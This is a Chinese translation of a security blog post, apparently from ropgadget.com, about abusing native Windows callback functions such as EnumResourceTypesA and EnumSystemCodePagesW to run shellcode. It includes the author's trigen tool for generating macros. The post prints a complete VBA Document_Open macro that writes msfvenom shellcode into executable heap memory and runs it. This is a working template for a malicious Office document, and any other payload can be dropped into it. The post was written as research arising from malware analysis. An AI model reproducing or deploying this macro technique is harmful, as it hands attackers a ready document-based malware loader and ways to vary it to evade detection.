Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】利用原生Windows函数执行shellcode

0
0
【技术分享】利用原生windows函数执行shellcode

2017-01-20 09:57:58
来源:ropgadget.com 作者:myswsun

阅读:502次
点赞(0)
收藏





【技术分享】利用原生Windows函数执行shellcode

翻译:myswsun

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00前言

我已经做了很多恶意的文档的分析,在一个流行的变种中我发现了一个特别感兴趣的技术。它滥用原生的Windows函数调用来执行加载进内存的shellcode。尽管我知道这是个古老的技术,但是我认为这个非常酷,并且我不太熟悉它。因此我做了一些研究来确定其他的可利用的函数。


0x01分析

为了让你明白这个如何工作,我将快速讲解一个如何通过函数执行shellcode的例子。我将使用函数EnumResourseTypeA。

EnumResourceTypesA(__in_optHMODULEhModule,__inENUMRESTYPEPROCAlpEnumFunc,__inLONG_PTRlParam);

正如微软所声明的是,这个函数的功能是“在二进制文件中枚举资源类型”。感兴趣的点是第二个参数,是一个每次美剧资源类型都会被调用的回调函数的指针。如果我将shellcode的内存地址传递给lpEnumFunc,每次枚举的资源类型会传递给这个函数,但是因为它是shellcode,她只会执行我提供的内存地址,要记住内存页需要有执行权限。

在恶意文档的上下文中,VBA提供了直接调用Windows函数的功能,但是在VBA之外,如果您知道目标应用程序已经导入了该函数,则这些函数也可以在典型的利用攻击期间利用。你可以保存ROP链空间,这些空间通常可用于某些执行类似功能的小工具,具体取决于函数和所需的参数。另外,从通常的角度看,如果你一直使用同样的函数,则会给动态和静态分析留下清楚的模式,使得易于检测和跟踪。因此有可选项完成这个功能是好的。

为了枚举所有的可能的函数,我在Windows 7 x86 SDK中的头文件中搜索。

$cat*.h|tr'\r\n'''|tr';''\n'|sed-e's/--//g'-e's///g'|grep-iE"__in.+(Func|Proc|CallBack|lpfn|lpproc),"|grep-oE"[a-zA-Z]+\([a-zA-Z0-9*_,]+\)"|grep"__in"|cut-d"("-f1|sort-u|sed-e's/^//g'

主要是搜索'(Func|Proc|CallBack| lpfn| lpproc)',其余的是归一化头文件函数结构,以利于简单的解析。

在的到一个候选函数的列表后,我开始测试每一个函数,搞清楚哪个可以被恶意文档利用。差不多就是读MSDN文档去理解函数的目的并且用几行VBA代码测试下。这些函数中大部分能够用来执行指定地址的代码,但是很多函数需要多个函数链才能达到目的。例如,函数DestroyCluster有一个相似的回调函数的参数,但是你不得不也调用CreateCluster和OpenCluster来先创建环境,这个有点敏感。

下表列出了确认的可以执行指定内存地址代码的函数。


【技术分享】利用原生Windows函数执行shellcode

【技术分享】利用原生Windows函数执行shellcode

除了这个列表,我能够得到49个函数,红色高亮部分,能够不需要其他交互执行calc shellcode。我不得不提供一些独特的数据,如一个进程的句柄或特定的值,但在大多数情况下,它们是独立的,并接受0或1作为函数需要的每个其他参数的值。

我将这些都封装在一个小脚本中,我称之为trigen,能够随机生成VBA的宏。包含3步,使用API从内存中分配内存、复制shellcode到内存中和最后利用win32函数调用来执行shellcode。它能生成总共384种可能的宏组合。

这个工具能从这里下载,同时将产生类似下面的输出。它使用一个参数,即shellcode的16进制字符串,但是会将msfvenom的输出做一个最小化解析。

#pythontrigen.py"$(msfvenom--payloadwindows/execCMD='calc.exe'-fc)" Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthepayload NoArchselected,selectingArch:x86fromthepayload Noencoderorbadcharsspecified,outputtingrawpayload Payloadsize:193bytes ################################################ ## #CopyVBAtoMicrosoftOffice97-2003DOC# ## #Alloc:HeapAlloc# #Write:RtlMoveMemory# #ExeSC:EnumSystemCodePagesW# ## ################################################ PrivateDeclareFunctioncreateMemoryLib"kernel32"Alias"HeapCreate"(ByValflOptionsAsLong,ByValdwInitialSizeAsLong,ByValdwMaximumSizeAsLong)AsLong PrivateDeclareFunctionallocateMemoryLib"kernel32"Alias"HeapAlloc"(ByValhHeapAsLong,ByValdwFlagsAsLong,ByValdwBytesAsLong)AsLong PrivateDeclareSubcopyMemoryLib"ntdll"Alias"RtlMoveMemory"(pDstAsAny,pSrcAsAny,ByValByteLenAsLong) PrivateDeclareFunctionshellExecuteLib"kernel32"Alias"EnumSystemCodePagesW"(ByVallpCodePageEnumProcAsAny,ByValdwFlagsAsAny)AsLong PrivateSubDocument_Open() DimshellCodeAsString DimshellLengthAsByte DimbyteArray()AsByte DimmemoryAddressAsLong DimzLAsLong zL=0 DimrLAsLong shellCode="fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" shellLength=Len(shellCode)/2 ReDimbyteArray(0ToshellLength) Fori=0ToshellLength-1 Ifi=0Then pos=i+1 Else pos=i*2+1 EndIf Value=Mid(shellCode,pos,2) byteArray(i)=Val("&H"&Value) Next rL=createMemory(&H40000,zL,zL) memoryAddress=allocateMemory(rL,zL,&H5000) copyMemoryByValmemoryAddress,byteArray(0),UBound(byteArray)+1 executeResult=shellExecute(memoryAddress,zL) EndSub

代码的逻辑非常直接。分配内存,拷贝shellcode到内存,通过滥用函数调用执行shellcode。这个脚本包含了每部分的必要的代码。


【技术分享】利用原生Windows函数执行shellcode
【技术分享】利用原生Windows函数执行shellcode
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://ropgadget.com/posts/abusing_win_functions.html

Viewing all articles
Browse latest Browse all 12749